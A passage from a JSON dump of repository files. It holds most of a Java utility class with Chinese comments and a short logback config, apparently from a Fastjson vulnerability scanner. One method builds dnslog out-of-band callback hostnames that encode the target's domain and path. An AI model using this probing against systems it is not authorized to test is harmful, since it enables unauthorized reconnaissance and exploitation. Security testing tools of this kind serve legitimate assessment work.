{\n            parent.mkdirs();\n        }\n    }\n\n    /**\n     * 获取静态资源后缀黑名单\n     */\n    private static Set<String> getSuffix() {\n        return new HashSet<>(Arrays.asList(\n                \"js\", \"css\", \"jpg\", \"png\", \"gif\", \"ico\", \"svg\",\n                \"woff\", \"ttf\", \"eot\", \"woff2\", \"otf\",\n                \"mp4\", \"mp3\", \"avi\", \"flv\", \"swf\", \"webp\",\n                \"zip\", \"rar\", \"7z\", \"gz\", \"tar\",\n                \"exe\", \"pdf\", \"doc\", \"docx\", \"xls\", \"xlsx\",\n                \"ppt\", \"pptx\", \"txt\", \"xml\",\n                \"apk\", \"ipa\", \"dmg\", \"iso\", \"img\",\n                \"torrent\", \"jar\", \"war\", \"py\"\n        ));\n    }\n\n    // 禁止实例化\n    private Utils() {\n        throw new AssertionError(\"No Utils instances for you!\");\n    }\n\n    /**\n     * 检查域名是否匹配给定的域名列表\n     * 支持通配符匹配，例如:\n     * - 完全匹配: example.com 匹配 example.com\n     * - 子域名匹配: sub.example.com 匹配 *.example.com\n     * - 多级匹配: a.b.example.com 匹配 *.*.example.com\n     *\n     * @param targetDomain 要检查的域名\n     * @param allowedDomains 允许的域名列表\n     * @return 如果匹配返回true，否则返回false\n     */\n    public static boolean isMatchDomainName(String targetDomain, List<String> allowedDomains) {\n        // 参数验证\n        if (targetDomain == null || targetDomain.trim().isEmpty() ||\n                allowedDomains == null || allowedDomains.isEmpty()) {\n            return false;\n        }\n\n        // 处理输入域名\n        targetDomain = cleanDomainName(targetDomain);\n        if (targetDomain.isEmpty()) {\n            return false;\n        }\n\n        // 反转目标域名，便于从右到左匹配\n        String reversedTarget = new StringBuilder(targetDomain).reverse().toString();\n\n        // 遍历允许的域名列表进行匹配\n        for (String allowedDomain : allowedDomains) {\n            // 清理和反转待匹配的域名\n            allowedDomain = cleanDomainName(allowedDomain);\n            if (allowedDomain.isEmpty()) {\n                continue;\n            }\n\n            // 如果完全匹配，直接返回true\n            if (targetDomain.equals(allowedDomain)) {\n                return true;\n            }\n\n            String reversedAllowed = new StringBuilder(allowedDomain).reverse().toString();\n\n            // 如果两个域名都包含点号，进行通配符匹配\n            if (reversedTarget.contains(\".\") && reversedAllowed.contains(\".\")) {\n                if (isWildcardMatch(reversedTarget, reversedAllowed)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    }\n\n    /**\n     * 清理域名字符串，移除端口号和空白字符\n     */\n    private static String cleanDomainName(String domain) {\n        domain = domain.trim();\n        // 移除端口号\n        int portIndex = domain.indexOf(':');\n        if (portIndex > 0) {\n            domain = domain.substring(0, portIndex);\n        }\n        return domain;\n    }\n\n    /**\n     * 通配符匹配两个反转的域名\n     */\n    private static boolean isWildcardMatch(String reversedTarget, String reversedPattern) {\n        String[] targetParts = reversedTarget.split(\"\\\\.\");\n        String[] patternParts = reversedPattern.split(\"\\\\.\");\n\n        // 调整两个数组长度一致\n        int maxLength = Math.max(targetParts.length, patternParts.length);\n        targetParts = adjustArray(targetParts, maxLength);\n        patternParts = adjustArray(patternParts, maxLength);\n\n        // 逐级比较\n        for (int i = 0; i < maxLength; i++) {\n            String targetPart = targetParts[i];\n            String patternPart = patternParts[i];\n\n            // 如果模式中有通配符或者两部分相等，继续比较\n            if (!patternPart.equals(\"*\") && !patternPart.equals(targetPart)) {\n                return false;\n            }\n        }\n\n        return true;\n    }\n\n    /**\n     * 调整数组长度，使用通配符填充\n     */\n    private static String[] adjustArray(String[] array, int targetLength) {\n        if (array.length >= targetLength) {\n            return array;\n        }\n\n        String[] newArray = new String[targetLength];\n        System.arraycopy(array, 0, newArray, 0, array.length);\n        Arrays.fill(newArray, array.length, targetLength, \"*\");\n        return newArray;\n    }\n\n    /**\n     * 生成带目标信息的dnslog地址\n     * @param targetUrl 目标URL\n     * @param dnslog dnslog基础地址\n     * @return 完整的dnslog地址\n     */\n    public static String generateDnsPayload(URL targetUrl, String dnslog) {\n        if (targetUrl == null || dnslog == null || dnslog.isEmpty()) {\n            return dnslog;\n        }\n\n        // 获取目标域名和URI\n        String targetDomain = targetUrl.getHost();\n        String targetUri = targetUrl.getPath();\n        if(targetUri.startsWith(\"/\")) {\n            targetUri = targetUri.substring(1);\n        }\n\n        // 拼接dnslog地址:目标域名.URI路径.dnslog地址\n        String dnslogPayload = targetDomain + \".\" + targetUri + \".\" + \"fastjson\" + \".\" + dnslog;\n\n        // 处理特殊字符\n        dnslogPayload = sanitizeDnsPayload(dnslogPayload);\n\n        return dnslogPayload;\n    }\n\n    /**\n     * 处理DNS payload中的特殊字符\n     * @param payload 原始payload\n     * @return 处理后的payload\n     */\n    private static String sanitizeDnsPayload(String payload) {\n        if (payload == null || payload.isEmpty()) {\n            return payload;\n        }\n\n        // 将非字母数字的字符替换为点号\n        String sanitized = payload.replaceAll(\"[^a-zA-Z0-9.]\", \".\");\n\n        // 处理可能出现的多个连续点号\n        sanitized = sanitized.replaceAll(\"\\\\.+\", \".\");\n\n        // 如果末尾有点号，去除\n        sanitized = sanitized.replaceAll(\"\\\\.$\", \"\");\n\n        return sanitized;\n    }\n}"
  },
  {
    "path": "src/main/resources/logback.xml",
    "content": "<configuration>\n    <!-- other configurations -->\n\n    <logger name=\"org.xm.similarity.text\" level=\"INFO\"/>\n\n    <!-- other loggers and appenders -->\n\n</configuration>\n"
  }
]